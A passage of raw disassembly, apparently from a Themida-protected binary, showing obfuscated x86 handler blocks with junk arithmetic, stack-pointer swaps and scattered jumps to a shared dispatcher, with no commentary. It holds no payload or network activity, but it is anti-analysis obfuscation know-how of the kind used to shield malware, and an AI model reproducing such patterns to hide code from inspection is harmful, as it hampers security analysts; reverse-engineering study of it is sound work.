and ecx, 3DCA0A28h
jmp loc_5A5258
; ---------------------------------------------------------------------------
loc_5A26AC: ; CODE XREF: Themida_:0059BA04j
pop ebx
shr esi, 2
dec esi
xor esi, 688BC4BEh
add edi, esi
jmp loc_59862B
; ---------------------------------------------------------------------------
loc_5A26BE: ; CODE XREF: Themida_:005A2619j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 0A3Ch
jmp loc_59DA2E
; ---------------------------------------------------------------------------
loc_5A26D8: ; CODE XREF: Themida_:0059B7B1j
mov edi, 7AC856CEh
and ebx, edi
jmp loc_59FB12
; ---------------------------------------------------------------------------
loc_5A26E4: ; CODE XREF: Themida_:00590CE4j
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_59DB4B
; ---------------------------------------------------------------------------
loc_5A26FE: ; CODE XREF: Themida_:005A2EB7j
mov [esp], edx
mov edx, 4
add dword ptr [esp+4], 50C7BDCh
add [esp+4], edx
push ebx
mov ebx, 50C7BDCh
jmp loc_5A5505
; ---------------------------------------------------------------------------
loc_5A271D: ; CODE XREF: Themida_:00598EDEj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], edx
push ecx
jmp loc_59956E
; ---------------------------------------------------------------------------
loc_5A272F: ; CODE XREF: Themida_:00598FF4j
sub esp, 4
mov [esp], ebp
push ebp
mov ebp, 7D9755BBh
add [esp+4], ebp
pop ebp
pop ecx
jmp loc_5A032C
; ---------------------------------------------------------------------------
lodsb
jmp loc_5924F1
; ---------------------------------------------------------------------------
loc_5A274C: ; CODE XREF: Themida_:0059FBBAj
push eax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A2753: ; CODE XREF: Themida_:00590E87j
mov ebx, [esp]
jmp loc_59D5BF
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A276B: ; CODE XREF: Themida_:00596A8Cj
pop ebx
jmp loc_59877B
; ---------------------------------------------------------------------------
loc_5A2771: ; CODE XREF: Themida_:005A4893j
push ecx
mov ecx, 5B23160Bh
jmp loc_595126
; ---------------------------------------------------------------------------
loc_5A277C: ; CODE XREF: Themida_:005A5500j
push ebx
mov ebx, 6DF06288h
mov edx, ebx
pop ebx
push eax
jmp loc_59FD82
; ---------------------------------------------------------------------------
loc_5A278B: ; CODE XREF: Themida_:0059CE03j
push ax
jmp loc_59150B
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
jmp loc_591584
; ---------------------------------------------------------------------------
loc_5A279B: ; CODE XREF: Themida_:00592871j
mov esi, [esp]
add esp, 4
push ebp
mov ebp, 47BB6449h
jmp loc_596503
; ---------------------------------------------------------------------------
loc_5A27AF: ; CODE XREF: Themida_:005A3DB5j
push ebp
push 50073E4Fh
jmp loc_597FB2
; ---------------------------------------------------------------------------
loc_5A27BA: ; CODE XREF: Themida_:00598593j
push eax
push bx
mov bh, 0E1h
mov al, bh
pop bx
dec al
not al
push ecx
jmp loc_5961AD
; ---------------------------------------------------------------------------
loc_5A27CD: ; CODE XREF: Themida_:0059FFBBj
sub edx, ebp
pop ebp
shl edx, 7
dec edx
jmp loc_598A29
; ---------------------------------------------------------------------------
loc_5A27D9: ; CODE XREF: Themida_:0059E86Aj
xchg eax, [esp]
pop esp
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A27E2: ; CODE XREF: Themida_:005A2334j
add esi, 4
push esi
push dword ptr [esp+4]
jmp loc_5A25A6
; ---------------------------------------------------------------------------
loc_5A27F2: ; CODE XREF: Themida_:0059B65Ej
mov ebp, 4F697D8Bh
dec ebp
jmp loc_592A35
; ---------------------------------------------------------------------------
loc_5A27FD: ; CODE XREF: Themida_:005A54D9j
mov [esp], eax
mov eax, 0C275CAAh
xor eax, 3833064Ah
not eax
sub eax, 54443A5Bh
sub ebx, eax
pop eax
sub ebp, 0D517CA3h
add ebp, ebx
jmp loc_594124
; ---------------------------------------------------------------------------
loc_5A2821: ; CODE XREF: Themida_:005A2214j
mov edx, [esp]
add esp, 4
add edx, 4
jmp loc_59BB42
; ---------------------------------------------------------------------------
loc_5A2835: ; CODE XREF: Themida_:00599597j
add al, bl
push 567Eh
jmp loc_591404
; ---------------------------------------------------------------------------
loc_5A2841: ; CODE XREF: Themida_:0059722Dj
mov esi, 6ADF4CCDh
sub esi, 9AB3977h
mov ebx, esi
pop esi
mov ebp, ebx
pop ebx
add eax, 2F181CD2h
jmp loc_59C01A
; ---------------------------------------------------------------------------
loc_5A285C: ; CODE XREF: Themida_:005A3953j
mov ebp, 0EA23DC3h
jmp loc_595E4A
; ---------------------------------------------------------------------------
loc_5A2866: ; CODE XREF: Themida_:005A156Aj
pop ebp
xor ebp, ebx
pop ebx
jmp loc_5A00A3
; ---------------------------------------------------------------------------
loc_5A286F: ; CODE XREF: Themida_:0059A0BAj
add esi, edx
pop edx
push esi
mov esi, 5EBE484Ch
sub eax, esi
jmp loc_5A1FF6
; ---------------------------------------------------------------------------
loc_5A287F: ; CODE XREF: Themida_:0059E9A9j
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 2
xchg ecx, [esp]
jmp loc_5A1FB3
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
jmp loc_599068
; ---------------------------------------------------------------------------
loc_5A28A0: ; CODE XREF: Themida_:00598884j
sub eax, ebx
mov ebx, eax
pop eax
sub ebx, 11951421h
and [edi+1Ch], ebx
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5902C1
; ---------------------------------------------------------------------------
push 0E49h
jmp loc_593E3D
; ---------------------------------------------------------------------------
loc_5A28C7: ; CODE XREF: Themida_:00596E73j
add esp, 4
add ecx, edi
push eax
jmp loc_590B69
; ---------------------------------------------------------------------------
loc_5A28D2: ; CODE XREF: Themida_:005A0B3Bj
mov ebp, 11B4328Ah
jmp loc_59C203
; ---------------------------------------------------------------------------
loc_5A28DC: ; CODE XREF: Themida_:0059891Aj
xor edx, 170F47F8h
xor edx, 0B46EA827h
sub ecx, edx
pop edx
push esi
mov esi, 757539F9h
and esi, 4A8C18A4h
and esi, 43DD250Fh
jmp loc_596BD3
; ---------------------------------------------------------------------------
loc_5A2902: ; CODE XREF: Themida_:0059A46Dj
push edx
mov dh, bh
mov ch, dh
pop edx
pop ebx
jmp loc_5A182B
; ---------------------------------------------------------------------------
loc_5A290E: ; CODE XREF: Themida_:005A1C10j
push 27046ECFh
pop edx
push esi
mov esi, 5F1A345Ch
shr esi, 4
dec esi
xor esi, 6FC2A1Fh
push edi
mov edi, 4E834175h
sub edi, 0E60B2897h
and esi, edi
pop edi
jmp loc_59FCF9
; ---------------------------------------------------------------------------
loc_5A2938: ; CODE XREF: Themida_:0059EE64j
xor ebx, 1B70C07Bh
jmp loc_598492
; ---------------------------------------------------------------------------
loc_5A2943: ; CODE XREF: Themida_:0059CFA8j
push ebx
jmp loc_5A1E6D
; ---------------------------------------------------------------------------
loc_5A2949: ; CODE XREF: Themida_:005A54F4j
sub eax, ebx
sub eax, 2EEA5B7Bh
push esi
mov esi, 5B856BC7h
add eax, esi
jmp loc_598908
; ---------------------------------------------------------------------------
loc_5A295D: ; CODE XREF: Themida_:0059EFDFj
mov ecx, [esp]
jmp loc_59E4DC
; ---------------------------------------------------------------------------
loc_5A2965: ; CODE XREF: Themida_:0059864Cj
xchg ecx, [esp]
pop esp
add edx, ecx
sub edx, 5264604Dh
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
add esi, 4
jmp loc_5908D4
; ---------------------------------------------------------------------------
loc_5A2983: ; CODE XREF: Themida_:00593750j
not ecx
push esi
push ecx
jmp loc_59E56D
; ---------------------------------------------------------------------------
loc_5A298C: ; CODE XREF: Themida_:005A0A5Bj
or eax, eax
jz loc_598658
push 57D0h
mov [esp], ebx
push 1Ch
pop ebx
sub ebx, 5883132Dh
sub ebx, 497E5C44h
add ebx, edi
push edi
jmp loc_59B8E8
; ---------------------------------------------------------------------------
loc_5A29B6: ; CODE XREF: Themida_:00593634j
add esi, eax
pop eax
jmp loc_59F575
; ---------------------------------------------------------------------------
loc_5A29BE: ; CODE XREF: Themida_:005A20F1j
mul cl
jmp loc_59CEB3
; ---------------------------------------------------------------------------
loc_5A29C5: ; CODE XREF: Themida_:0059168Bj
sub esi, ebp
pop ebp
push 119Eh
jmp loc_59D5CC
; ---------------------------------------------------------------------------
loc_5A29D2: ; CODE XREF: Themida_:00593C85j
sub eax, ebx
jmp loc_599B6A
; ---------------------------------------------------------------------------
loc_5A29D9: ; CODE XREF: Themida_:00599CEFj
push 65D4h
mov [esp], ecx
jmp loc_590DBC
; ---------------------------------------------------------------------------
loc_5A29E6: ; CODE XREF: Themida_:00596606j
xchg eax, [esp]
pop esp
push 57C8h
mov [esp], ebp
sub esp, 4
mov [esp], esp
jmp loc_5965DA
; ---------------------------------------------------------------------------
loc_5A29FD: ; CODE XREF: Themida_:005A49D0j
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
jmp loc_598A6F
; ---------------------------------------------------------------------------
loc_5A2A0C: ; CODE XREF: Themida_:00596538j
add ebx, 5CEF2B5Bh
xor ebx, 0CEE326Dh
add ebx, 0E470AD84h
jmp loc_59CA33
; ---------------------------------------------------------------------------
loc_5A2A23: ; CODE XREF: Themida_:00590C7Aj
mov eax, [esp]
add esp, 4
add ebp, 17A65D56h
add ebp, esi
jmp loc_59E53A
; ---------------------------------------------------------------------------
loc_5A2A36: ; CODE XREF: Themida_:0059C2FAj
push ebp
mov ebp, 5F762DDEh
dec ebp
not ebp
push esi
jmp loc_5A1AC5
; ---------------------------------------------------------------------------
loc_5A2A45: ; CODE XREF: Themida_:005950F8j
imul ecx
push ebx
jmp loc_59C726
; ---------------------------------------------------------------------------
loc_5A2A4D: ; CODE XREF: Themida_:005A3CB2j
mov edx, [esp]
push eax
mov eax, esp
push ecx
jmp loc_5A2EF4
; ---------------------------------------------------------------------------
loc_5A2A59: ; CODE XREF: Themida_:005989B0j
push 259Fh
mov [esp], ecx
jmp loc_5981A7
; ---------------------------------------------------------------------------
loc_5A2A66: ; CODE XREF: Themida_:00597AA1j
sub ecx, edx
jmp loc_59A8D1
; ---------------------------------------------------------------------------
loc_5A2A6D: ; CODE XREF: Themida_:005A2380j
mov edi, 6F2C4D76h
jmp loc_595358
; ---------------------------------------------------------------------------
loc_5A2A77: ; CODE XREF: Themida_:005A1FB8j
mov [esp], cx
push 2922h
jmp loc_596788
; ---------------------------------------------------------------------------
loc_5A2A85: ; CODE XREF: Themida_:00590E18j
pop edi
sub bx, 64DDh
sub bx, cx
add bx, 64DDh
push small 20CBh
mov [esp], di
push small 373h
pop di
add bx, di
mov di, [esp]
jmp loc_59EE8B
; ---------------------------------------------------------------------------
loc_5A2AAD: ; CODE XREF: Themida_:005A1045j
pop edx
push 3BF3h
mov [esp], edx
not dword ptr [esp]
push dword ptr [esp]
jmp loc_59D9A7
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_5A0CA9
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A2ADB: ; CODE XREF: Themida_:00594541j
add esp, 4
push eax
mov eax, 244E2F22h
push edx
jmp loc_59EB24
; ---------------------------------------------------------------------------
loc_5A2AEA: ; CODE XREF: Themida_:00595830j
sub bl, 0BCh
inc bl
not bl
jmp loc_5921B6
; ---------------------------------------------------------------------------
loc_5A2AF6: ; CODE XREF: Themida_:0059911Ej
push ecx
mov cl, bh
mov [eax], cl
pop ecx
jmp loc_5A4C81
; ---------------------------------------------------------------------------
loc_5A2B01: ; CODE XREF: Themida_:0059AD9Dj
pop dword ptr [esp]
pop esp
jmp loc_59EF53
; ---------------------------------------------------------------------------
loc_5A2B0A: ; CODE XREF: Themida_:005A2C11j
sub esp, 4
mov [esp], edi
push 6F086BEBh
mov edi, [esp]
add esp, 4
sub edx, edi
jmp loc_592330
; ---------------------------------------------------------------------------
loc_5A2B25: ; CODE XREF: Themida_:00597E9Ej
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
add edi, 8D148D4Ch
add esi, edi
pop edi
push edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
mov esi, 272C2800h
sub esi, 7481C8Fh
push ecx
mov ecx, 76AB006Bh
or ecx, 86E6373h
add ecx, 2DDF0536h
dec ecx
jmp loc_5A2D95
; ---------------------------------------------------------------------------
loc_5A2B74: ; CODE XREF: Themida_:00596701j
mov ecx, 4
add ebx, 492707D6h
add ebx, ecx
sub ebx, 492707D6h
pop ecx
sub ebx, 2
xchg ebx, [esp]
jmp loc_59720B
; ---------------------------------------------------------------------------
loc_5A2B96: ; CODE XREF: Themida_:0059933Fj
and ebx, 5FC43BEBh
sub ebx, 19C1A4DEh
sub eax, ebx
pop ebx
push esi
jmp loc_591871
; ---------------------------------------------------------------------------
loc_5A2BAB: ; CODE XREF: Themida_:005A337Cj
add edi, ebx
sub edi, 78494723h
jmp loc_59E670
; ---------------------------------------------------------------------------
loc_5A2BB8: ; CODE XREF: Themida_:00592760j
mov ebp, eax
pop eax
neg ebp
inc ebp
jmp loc_59E4A5
; ---------------------------------------------------------------------------
loc_5A2BC3: ; CODE XREF: Themida_:005976CFj
sub esi, 39B03458h
add esi, ebp
add esi, 39B03458h
mov ebp, [esp]
add esp, 4
pop eax
push edx
jmp loc_5924BE
; ---------------------------------------------------------------------------
loc_5A2BDE: ; CODE XREF: Themida_:005941CFj
pop ebx
jmp loc_5A4463
; ---------------------------------------------------------------------------
loc_5A2BE4: ; CODE XREF: Themida_:005A3295j
add [esp+8], ebx
pop ebx
sub dword ptr [esp+4], 6D89057Ah
sub [esp+4], edx
add dword ptr [esp+4], 6D89057Ah
jmp loc_5A0E6F
; ---------------------------------------------------------------------------
loc_5A2C02: ; CODE XREF: Themida_:0059869Fj
mov [esp], edx
push 435715E5h
pop edx
add edx, 2BB15A02h
jmp loc_5A2B0A
; ---------------------------------------------------------------------------
loc_5A2C16: ; CODE XREF: Themida_:005A3F2Cj
add esi, ecx
mov ecx, [esp]
jmp loc_59BAF8
; ---------------------------------------------------------------------------
loc_5A2C20: ; CODE XREF: Themida_:005A0034j
pop edx
add edx, ebx
pop ebx
push ebp
mov ebp, 4
push ecx
jmp loc_597192
; ---------------------------------------------------------------------------
loc_5A2C30: ; CODE XREF: Themida_:005A4DE3j
shr bh, 7
push ecx
push eax
mov al, 94h
mov cl, al
pop eax
add bh, cl
pop ecx
xor al, bh
pop ebx
push small 3259h
mov [esp], cx
push eax
jmp loc_594176
; ---------------------------------------------------------------------------
loc_5A2C4E: ; CODE XREF: Themida_:0059F42Fj
mov ebp, 234F7519h
jmp loc_594A86
; ---------------------------------------------------------------------------
loc_5A2C58: ; CODE XREF: Themida_:005A52ABj
mov esp, [esp]
mov edx, [esp]
jmp loc_5980E0
; ---------------------------------------------------------------------------
loc_5A2C63: ; CODE XREF: Themida_:0059055Aj
add esp, 4
push edx
jmp loc_5A1DF7
; ---------------------------------------------------------------------------
loc_5A2C6F: ; CODE XREF: Themida_:00592BE8j
push 5A3Dh
mov [esp], edi
push 45C3708Bh
jmp loc_59F94C
; ---------------------------------------------------------------------------
loc_5A2C81: ; CODE XREF: Themida_:0059711Bj
dec edx
add edx, 0E3ED79E5h
jmp loc_5A4707
; ---------------------------------------------------------------------------
loc_5A2C8D: ; CODE XREF: Themida_:005917D4j
add cl, 8Ah
jmp loc_5A37EC
; ---------------------------------------------------------------------------
loc_5A2C95: ; CODE XREF: Themida_:0059ED7Bj
mov eax, 4
jmp loc_59BEEC
; ---------------------------------------------------------------------------
loc_5A2C9F: ; CODE XREF: Themida_:0059B745j
xor eax, [esp]
pop esp
sub esp, 4
mov [esp], ecx
mov ecx, 4
add ebx, 4E84640h
add ebx, ecx
jmp loc_59BA37
; ---------------------------------------------------------------------------
loc_5A2CBE: ; CODE XREF: Themida_:0059F3C3j
add esp, 4
sub ebx, 53DE44F8h
sub ebx, eax
jmp loc_59EEDA
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push 63AEh
mov [esp], ebx
mov ebx, esp
jmp loc_59B704
; ---------------------------------------------------------------------------
loc_5A2CE2: ; CODE XREF: Themida_:00593CD2j
pop ecx
sub edi, 4
xchg edi, [esp]
jmp loc_59BE95
; ---------------------------------------------------------------------------
loc_5A2CF1: ; CODE XREF: Themida_:005A4F83j
sub edx, 0FD4910D0h
mov esi, edx
mov edx, [esp]
add esp, 4
shl esi, 2
neg esi
add esi, 1
sub esi, 0F4D341F5h
add ebx, esi
pop esi
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push 7C70h
mov [esp], ebx
mov ebx, 1
and eax, ebx
push dword ptr [esp]
push dword ptr [esp]
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5A193C
; ---------------------------------------------------------------------------
loc_5A2D42: ; CODE XREF: Themida_:0059D521j
pop ebx
xchg edx, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_59627E
; ---------------------------------------------------------------------------
loc_5A2D57: ; CODE XREF: Themida_:005A4EC8j
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
add ebp, ecx
jmp loc_5A3CC2
; ---------------------------------------------------------------------------
loc_5A2D71: ; CODE XREF: Themida_:0059F342j
mov ebx, ebp
pop ebp
sub ebp, 78BE449Dh
jmp loc_599CD4
; ---------------------------------------------------------------------------
loc_5A2D7F: ; CODE XREF: Themida_:00595518j
neg ebp
and ebp, 691041C3h
shr ebp, 3
jmp loc_592D1F
; ---------------------------------------------------------------------------
loc_5A2D8F: ; CODE XREF: Themida_:005987D9j
push edx
jmp loc_5961F4
; ---------------------------------------------------------------------------
loc_5A2D95: ; CODE XREF: Themida_:005A2B6Fj
sub ecx, 6240609Fh
sub esi, ecx
pop ecx
xor esi, 0D5560364h
push esi
pop edi
mov esi, [esp]
add esp, 4
sub esi, 0AD7354Dh
add esi, edi
push eax
mov eax, 4B260F62h
xor eax, 41F13A2Fh
add esi, eax
pop eax
pop edi
jmp loc_5959DD
; ---------------------------------------------------------------------------
loc_5A2DCB: ; CODE XREF: Themida_:0059583Ej
pop ebp
jmp loc_596867
; ---------------------------------------------------------------------------
loc_5A2DD1: ; CODE XREF: Themida_:005A0289j
mov edx, 337E2826h
jmp loc_591A7A
; ---------------------------------------------------------------------------
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esi
mov esi, esp
push esi
push esp
pop esi
push 59EFh
mov [esp], ecx
push ebp
mov ebp, 302C49DCh
jmp loc_59CCCF
; ---------------------------------------------------------------------------
loc_5A2E09: ; CODE XREF: Themida_:005A040Dj
mov [esp], ecx
push 53E5h
jmp loc_5A08DA
; ---------------------------------------------------------------------------
loc_5A2E16: ; CODE XREF: Themida_:005A179Aj
mov edx, 2125670Ah
or ecx, edx
jmp loc_59EC54
; ---------------------------------------------------------------------------
loc_5A2E22: ; CODE XREF: Themida_:005A0BC1j
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push edi
push 5FAEh
mov [esp], esp
push eax
jmp loc_59509D
; ---------------------------------------------------------------------------
loc_5A2E41: ; CODE XREF: Themida_:0059A82Fj
pop ecx
inc ecx
xor ecx, ebx
xor ebx, ecx
xor ecx, ebx
not ebx
jmp loc_59D8EF
; ---------------------------------------------------------------------------
loc_5A2E50: ; CODE XREF: Themida_:00593798j
push dword ptr [esp+4]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
inc dword ptr [esp]
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A2E72: ; CODE XREF: Themida_:0059483Dj
mov esp, [esp]
push 50B2h
mov [esp], edi
mov edi, 4
add ebx, 41F1060Bh
add ebx, edi
sub ebx, 41F1060Bh
jmp loc_591126
; ---------------------------------------------------------------------------
loc_5A2E95: ; CODE XREF: Themida_:0059D750j
push ecx
jmp loc_597B30
; ---------------------------------------------------------------------------
loc_5A2E9B: ; CODE XREF: Themida_:005A13BBj
push 64Fh
mov [esp], esp
push esi
push 4
pop esi
add [esp+4], esi
pop esi
pop dword ptr [esp]
push 6135h
jmp loc_5A26FE
; ---------------------------------------------------------------------------
loc_5A2EBC: ; CODE XREF: Themida_:0059A305j
mov [esp], ebp
jmp loc_5A4591
; ---------------------------------------------------------------------------
loc_5A2EC4: ; CODE XREF: Themida_:0059040Fj
push esp
mov ecx, [esp]
jmp loc_59839B
; ---------------------------------------------------------------------------
loc_5A2ECD: ; CODE XREF: Themida_:0059209Bj
sub eax, 4
jmp loc_59D38C
; ---------------------------------------------------------------------------
loc_5A2ED5: ; CODE XREF: Themida_:00599D03j
xor [esp], esi
xor esi, [esp]
pop esp
and eax, esi
push dword ptr [esp]
push dword ptr [esp]
pop esi
push esi
mov esi, esp
push edi
jmp loc_5A50A9
; ---------------------------------------------------------------------------
loc_5A2EEE: ; CODE XREF: Themida_:005A42E5j
pop ebp
jmp loc_5A3C0F
; ---------------------------------------------------------------------------
loc_5A2EF4: ; CODE XREF: Themida_:005A2A54j
mov ecx, 5F426915h
sub ecx, 5F426911h
add eax, ecx
pop ecx
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp]
mov esp, [esp]
add esi, ebp
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov cx, [esp]
sub esp, 4
mov [esp], ebp
push esp
pop ebp
push edi
sub esp, 4
mov [esp], ebx
jmp loc_595868
; ---------------------------------------------------------------------------
loc_5A2F3B: ; CODE XREF: Themida_:005962A5j
sub ecx, 4
xchg ecx, [esp]
jmp loc_59D1B8
; ---------------------------------------------------------------------------
loc_5A2F46: ; CODE XREF: Themida_:00599824j
or eax, ebp
jmp loc_592E82
; ---------------------------------------------------------------------------
loc_5A2F4D: ; CODE XREF: Themida_:00595FEBj
xchg eax, ecx
sub eax, 426C20CAh
jmp loc_599339
; ---------------------------------------------------------------------------
loc_5A2F58: ; CODE XREF: Themida_:00598981j
dec edi
sub edi, 60A579D8h
add edi, 146340E0h
inc edi
add edi, 0ADAAB8Ah
mov ebp, edi
pop edi
xor esi, ebp
jmp loc_59DCC5
; ---------------------------------------------------------------------------
loc_5A2F76: ; CODE XREF: Themida_:00595044j
mov [esp], ax
not byte ptr [esp+1]
pop ax
jmp loc_59DDC8
; ---------------------------------------------------------------------------
loc_5A2F85: ; CODE XREF: Themida_:0059247Dj
xor ch, dl
jmp loc_59A4DB
; ---------------------------------------------------------------------------
loc_5A2F8C: ; CODE XREF: Themida_:0059F845j
add edi, esi
pop esi
push 27F0h
mov [esp], esi
sub esp, 4
jmp loc_5977AD
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push 4762h
push esp
jmp loc_5A0F51
; ---------------------------------------------------------------------------
loc_5A2FB2: ; CODE XREF: Themida_:005A3584j
add ebp, eax
mov eax, [esp]
jmp loc_5A37C4
; ---------------------------------------------------------------------------
loc_5A2FBC: ; CODE XREF: Themida_:00596678j
pop ecx
xchg eax, [esp]
mov esp, [esp]
xchg edi, [esp]
mov esp, [esp]
rol dword ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A2FD2: ; CODE XREF: Themida_:00599000j
mov esi, [esp]
jmp loc_596CA7
; ---------------------------------------------------------------------------
loc_5A2FDA: ; CODE XREF: Themida_:0059AE90j
mov edi, 1A3AC807h
jmp loc_597B86
; ---------------------------------------------------------------------------
loc_5A2FE4: ; CODE XREF: Themida_:005A0282j
add edi, eax
pop eax
xchg edi, [esp]
jmp loc_59EF1A
; ---------------------------------------------------------------------------
loc_5A2FEF: ; CODE XREF: Themida_:005A2084j
mov [esp], ecx
push esi
push 7F967F2Fh
push dword ptr [esp]
jmp loc_5A4BD7
; ---------------------------------------------------------------------------
lodsb
push dx
mov dh, 56h
push ebx
jmp loc_59369A
; ---------------------------------------------------------------------------
loc_5A300B: ; CODE XREF: Themida_:0059CC78j
add bl, al
jmp loc_59372A
; ---------------------------------------------------------------------------
loc_5A3012: ; CODE XREF: Themida_:005A4115j
pop esi
jmp loc_5993B6
; ---------------------------------------------------------------------------
loc_5A3018: ; CODE XREF: Themida_:00592C2Dj
add eax, 0AD5A86B0h
xor edx, eax
pop eax
add edi, edx
pop edx
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
push 6026h
jmp loc_5A15E3
; ---------------------------------------------------------------------------
loc_5A304F: ; CODE XREF: Themida_:0059AD84j
xchg ebx, [esp]
pop esp
dec byte ptr [esp]
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A305C: ; CODE XREF: Themida_:005A1562j
mov ebp, 65096003h
inc ebp
push eax
mov eax, 7E8E7D0Fh
xor eax, 3B697B14h
jmp loc_5A05AA
; ---------------------------------------------------------------------------
loc_5A3072: ; CODE XREF: Themida_:0059EA35j
push edi
jmp loc_593A85
; ---------------------------------------------------------------------------
loc_5A3078: ; CODE XREF: Themida_:005A07A8j
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A3098: ; CODE XREF: Themida_:00593512j
push ecx
mov ch, 20h
add al, ch
pop ecx
add al, bl
push edx
mov dl, 34h
push ebx
mov bl, dl
push ecx
mov ch, bl
not ch
mov bl, ch
pop ecx
jmp loc_59F4ED
; ---------------------------------------------------------------------------
loc_5A30B3: ; CODE XREF: Themida_:005954BDj
and edx, esi
mov esi, [esp]
add esp, 4
inc edx
and edx, 12284911h
sub edx, 0A4A911AAh
jmp loc_5913D0
; ---------------------------------------------------------------------------
loc_5A30D0: ; CODE XREF: Themida_:0059DE5Aj
push eax
jmp loc_59A364
; ---------------------------------------------------------------------------
loc_5A30D6: ; CODE XREF: Themida_:005A2691j
mov ebx, 29990DA9h
add ebp, ebx
pop ebx
add ebp, 77E84E56h
add ebp, esi
sub ebp, 77E84E56h
push 6C23h
mov [esp], esi
mov esi, 29990DA9h
sub ebp, esi
pop esi
pop esi
sub ebp, 4
sub esp, 4
jmp loc_594F82
; ---------------------------------------------------------------------------
loc_5A310E: ; CODE XREF: Themida_:00597826j
mov [esp], esi
mov esi, 56414B18h
jmp loc_593716
; ---------------------------------------------------------------------------
loc_5A311B: ; CODE XREF: Themida_:005970FEj
xchg edi, [esp]
mov esp, [esp]
movzx ax, byte ptr [eax]
push ebp
push 0D45h
push esp
pop dword ptr [esp]
push ebx
jmp loc_5906E8
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 6735h
mov [esp], esi
mov esi, esp
add esi, 4
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], edx
mov edx, 1AE7518Ch
mov eax, 0E518AE78h
add eax, edx
pop edx
add esi, 38C91E48h
add esi, eax
sub esi, 38C91E48h
jmp loc_59D9B8
; ---------------------------------------------------------------------------
loc_5A3174: ; CODE XREF: Themida_:00595977j
push eax
push esi
jmp loc_59B5BC
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A318A: ; CODE XREF: Themida_:005972F4j
push 6DCC54E1h
jmp loc_59F1D8
; ---------------------------------------------------------------------------
loc_5A3194: ; CODE XREF: Themida_:0059A091j
pop eax
add ecx, 2BFF3C65h
add ecx, ebx
sub ecx, 2BFF3C65h
pop ebx
xchg ecx, [esp]
pop esp
mul cx
push edx
jmp loc_595112
; ---------------------------------------------------------------------------
loc_5A31B1: ; CODE XREF: Themida_:00594968j
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 2
xchg ebp, [esp]
pop esp
jmp loc_59C7FE
; ---------------------------------------------------------------------------
loc_5A31C6: ; CODE XREF: Themida_:00593A0Ej
xchg edx, [esp]
pop esp
add ecx, edi
pop edi
sub ecx, 2
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_59425D
; ---------------------------------------------------------------------------
loc_5A31E8: ; CODE XREF: Themida_:005968C9j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59572D
; ---------------------------------------------------------------------------
loc_5A31F3: ; CODE XREF: Themida_:00593165j
pop eax
sub ebx, 18477A8Dh
inc ebx
add ebx, 0AA67556Fh
add edx, ebx
pop ebx
push esi
push edx
push 49C93C8Eh
pop edx
shr edx, 7
not edx
xor edx, 0FF6C6D82h
mov esi, edx
pop edx
push ebx
mov ebx, 6713A12h
and ebx, 40D337E1h
dec ebx
shl ebx, 1
jmp loc_597EC1
; ---------------------------------------------------------------------------
loc_5A322E: ; CODE XREF: Themida_:00597388j
mov ebx, 4
add ebp, ebx
pop ebx
sub esp, 4
mov [esp], edx
mov edx, 56BC6452h
sub edx, 26062A1Ch
inc edx
shr edx, 8
add edx, 63C75DFAh
push 1413h
mov [esp], eax
push 6245h
mov [esp], ecx
push 7BFE3838h
pop ecx
shl ecx, 3
push ebp
mov ebp, 67B54C49h
dec ebp
dec ebp
jmp loc_59BE11
; ---------------------------------------------------------------------------
